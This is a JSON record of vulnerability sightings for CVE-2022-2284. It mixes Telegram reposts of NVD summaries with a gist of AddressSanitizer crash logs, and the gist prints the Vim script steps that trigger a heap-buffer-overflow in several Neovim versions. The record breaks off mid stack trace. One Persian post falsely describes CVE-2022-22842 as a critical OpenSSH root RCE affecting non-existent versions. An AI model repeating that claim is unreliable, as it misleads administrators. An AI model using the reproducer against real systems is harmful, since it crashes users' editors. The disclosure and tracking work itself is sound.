{"vulnerability": "cve-2022-2284", "sightings": [{"uuid": "fdc31595-fe2f-45c0-873b-21948b05fa86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-22842", "type": "seen", "source": "https://t.me/linuxtnt/3839", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 OpenSSH \u06a9\u0634\u0641 \u0634\u062f\u060c \u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u062a\u0645\u0627\u0645 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 OpenSSH\u060c \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u06cc \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0648 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0627\u0645\u0646 \u062f\u0631 \u0627\u062a\u0635\u0627\u0644\u0627\u062a SSH \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2022-22842 \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u062f\u0648\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a root \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u062a\u0645\u0627\u0645 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f\u060c \u0632\u06cc\u0631\u0627 OpenSSH \u06cc\u06a9 \u062c\u0632\u0621 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f \u062f\u0631 \u0627\u06a9\u062b\u0631 \u062a\u0648\u0632\u06cc\u0639\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0627\u0633\u062a.\n\n\u062c\u0632\u0626\u06cc\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\u0646\u0648\u0639 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc: \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RCE)\n\u0646\u0645\u0631\u0647 CVSS: 9.8 (\u0628\u0633\u06cc\u0627\u0631 \u0628\u062d\u0631\u0627\u0646\u06cc)\n\u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631: OpenSSH 7.8 \u062a\u0627 8.15\n\u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u0634\u062f\u0647: OpenSSH 8.16\n\n\u062a\u0627 \u062a\u0627\u0631\u06cc\u062e 3 \u062c\u0648\u0644\u0627\u06cc 2024\u060c \u062f\u0648 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0645\u0647\u0645 \u0628\u0631\u0627\u06cc \u0631\u0641\u0639 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc OpenSSH \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a\n\u0646\u0648\u06cc\u0633\u0646\u062f\u0647: \u062d\u0633\u06cc\u0646 \u0633\u06cc\u0644\u0627\u0646\u06cc\n\u0645\u0646\u0628\u0639:\u06a9\u0627\u0646\u0627\u0644 \u0644\u06cc\u0646\u0648\u06a9\u0633\u06cc: linuxtnt\nhttp://seilany.ir", "creation_timestamp": "2024-07-03T18:37:26.000000Z"}, {"uuid": "888b1373-96e1-4392-a65c-a3d15f627574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2284", "type": "seen", "source": "https://t.me/cibsecurity/45547", "content": "\u203c CVE-2022-2284 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-07-02T18:40:37.000000Z"}, {"uuid": "e208b005-87fc-4a61-8073-86d1e748a019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-22846", "type": "seen", "source": "https://t.me/cibsecurity/35155", "content": "\u203c CVE-2022-22846 \u203c\n\nThe dnslib package through 0.9.16 for Python does not verify that the ID value in a DNS reply matches an ID value in a query.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-10T16:20:47.000000Z"}, {"uuid": "a886f09f-273b-4a19-bc09-5c0e66370b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-22844", "type": "seen", "source": "https://t.me/cibsecurity/35160", "content": "\u203c CVE-2022-22844 \u203c\n\nLibTIFF 4.3.0 has an out-of-bounds read in _TIFFmemcpy in tif_unix.c in certain situations involving a custom tag and 0x0200 as the second word of the DE field.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-01-10T16:20:55.000000Z"}, {"uuid": "b07cc35c-52ff-4d54-98cd-e9d43e12bafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2284", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/aa73104ae78c651d524cf700d9a4a63a", "content": "Command:\n./nvim-0.7.2 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_visual_area_adjusted_when_hiding()\n\nline 11: \n\nline 12: call Test_visual_area_adjusted_when_hiding()\n\ncalling function Test_visual_area_adjusted_when_hiding()\n\nline 1:   call setline(1, 'xxx')\n\nline 2:   vsplit Xfile\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, 'xxxxxxxx')\n\nline 4:   norm! ^V$o\n\nline 5:   hid\n\nline 6:   norm! zW\n=================================================================\n==6599==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200003a958 at pc 0x000000bacadb bp 0x7fffaa951ab0 sp 0x7fffaa951aa8\nREAD of size 1 at 0x60200003a958 thread T0\n    #0 0xbacada in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26\n    #1 0xc66259 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4480:25\n    #2 0xc8c97c in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3968:27\n    #3 0xc6b391 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #4 0xc67ca6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7637:9\n    #5 0x96cac0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8748:5\n    #6 0x96c806 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8731:3\n    #7 0x9852fa in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8663:7\n    #8 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x8b4196 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #11 0x8b0d03 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #12 0x8aeb05 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #13 0x8c9824 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #17 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #18 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #19 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #22 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n    #23 0xb1aefb in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:522:5\n    #24 0x7f8301e11082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #25 0x461f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x461f7d)\n\n0x60200003a958 is located 4 bytes to the right of 4-byte region [0x60200003a950,0x60200003a954)\nallocated by thread T0 here:\n    #0 0x4da6bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.2-ASAN+0x4da6bd)\n    #1 0xbdd5f2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xbdd7b4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xbddbfd in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:187:15\n    #4 0xbddc78 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:205:17\n    #5 0xbde3cb in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:424:10\n    #6 0xfcb384 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:56:20\n    #7 0xbd3e7d in ml_replace_buf /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2483:12\n    #8 0xbd3dbc in ml_replace /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2454:10\n    #9 0x7b69d8 in set_buffer_lines /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6952:14\n    #10 0x82d9ae in f_setline /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:8740:3\n    #11 0x826c78 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n    #12 0x8b0fa9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n    #13 0x8aeb05 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #14 0x8c9824 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #15 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #16 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #17 0x8b4196 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #18 0x8b0d03 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #19 0x8aeb05 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #20 0x8c9824 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #21 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #22 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #23 0x92ab1f in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #24 0x928292 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #25 0x928310 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #26 0x9442d4 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #27 0x936602 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #28 0x939fa3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #29 0xb2567e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1848:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047ffff4d0: fa fa 00 04 fa fa fd fd fa fa 05 fa fa fa fd fa\n  0x0c047ffff4e0: fa fa 07 fa fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047ffff4f0: fa fa 00 00 fa fa 00 07 fa fa 00 04 fa fa 06 fa\n  0x0c047ffff500: fa fa 00 03 fa fa 00 01 fa fa 00 01 fa fa fd fd\n  0x0c047ffff510: fa fa 00 02 fa fa fd fa fa fa fd fa fa fa fd fa\n=>0x0c047ffff520: fa fa 00 fa fa fa 01 fa fa fa 04[fa]fa fa fd fd\n  0x0c047ffff530: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff540: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff550: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff560: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff570: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==6599==ABORTING\n\n\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_visual_area_adjusted_when_hiding()\n\nline 11: \n\nline 12: call Test_visual_area_adjusted_when_hiding()\n\ncalling function Test_visual_area_adjusted_when_hiding()\n\nline 1:   call setline(1, 'xxx')\n\nline 2:   vsplit Xfile\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, 'xxxxxxxx')\n\nline 4:   norm! ^V$o\n\nSearching for \"lua/vim/_meta.lua\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/usr/local/lib/nvim,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/lua/vim/_meta.lua\"\nSearching for \"/etc/xdg/nvim/lua/vim/_meta.lua\"\nSearching for \"/home/zzw/.local/share/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/usr/local/share/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/usr/share/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/lua/vim/_meta.lua\"\nSearching for \"/usr/local/share/nvim/runtime/lua/vim/_meta.lua\"\nline 5:   hid\n\nline 6:   norm! zW\n=================================================================\n==6530==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000007a98 at pc 0x000000b0164b bp 0x7ffed75a9750 sp 0x7ffed75a9748\nREAD of size 1 at 0x602000007a98 thread T0\n    #0 0xb0164a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:879:26\n    #1 0xbc973f in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5058:23\n    #2 0xbee5be in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4588:27\n    #3 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #4 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #5 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #6 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #7 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #8 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #9 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #10 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #11 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #12 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #13 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #14 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #15 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #16 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #17 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #18 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #19 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #20 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #21 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #23 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #24 0x7f76ab9c9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #25 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x602000007a98 is located 4 bytes to the right of 4-byte region [0x602000007a90,0x602000007a94)\nallocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d65cd)\n    #1 0xb31f12 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb320e4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xb3252d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:184:15\n    #4 0xb325a8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:202:17\n    #5 0xb32cfb in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:421:10\n    #6 0xeeab54 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:58:20\n    #7 0xb2874d in ml_replace_buf /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2451:12\n    #8 0xb2868c in ml_replace /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2424:10\n    #9 0x7575f8 in set_buffer_lines /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6952:14\n    #10 0x7d399e in f_setline /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:8424:3\n    #11 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #12 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #13 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #14 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #15 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #16 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #17 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #18 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #19 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #20 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #21 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #22 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #23 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #24 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #25 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #26 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #27 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #28 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #29 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:879:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8f00: fa fa 00 01 fa fa fd fd fa fa 00 01 fa fa fd fd\n  0x0c047fff8f10: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 00 07\n  0x0c047fff8f20: fa fa 00 04 fa fa 06 fa fa fa 00 03 fa fa 00 01\n  0x0c047fff8f30: fa fa 00 01 fa fa fd fd fa fa 00 02 fa fa fd fa\n  0x0c047fff8f40: fa fa fd fa fa fa fd fa fa fa 00 fa fa fa 01 fa\n=>0x0c047fff8f50: fa fa 04[fa]fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff8f60: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8f70: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8f80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8f90: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8fa0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==6530==ABORTING\n\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_visual_area_adjusted_when_hiding()\n\nline 11: \n\nline 12: call Test_visual_area_adjusted_when_hiding()\n\ncalling function Test_visual_area_adjusted_when_hiding()\n\nline 1:   call setline(1, 'xxx')\n\nline 2:   vsplit Xfile\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-2284)\n\"Xfile\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, 'xxxxxxxx')\n\nline 4:   norm! ^V$o\n\nline 5:   hid\n\nline 6:   norm! zW\n=================================================================\n==5712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000008258 at pc 0x0000009ace3b bp 0x7ffd01cdd8d0 sp 0x7ffd01cdd8c8\nREAD of size 1 at 0x602000008258 thread T0\n    #0 0x9ace3a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26\n    #1 0xa712e8 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4920:25\n    #2 0xa97cff in nv_zet 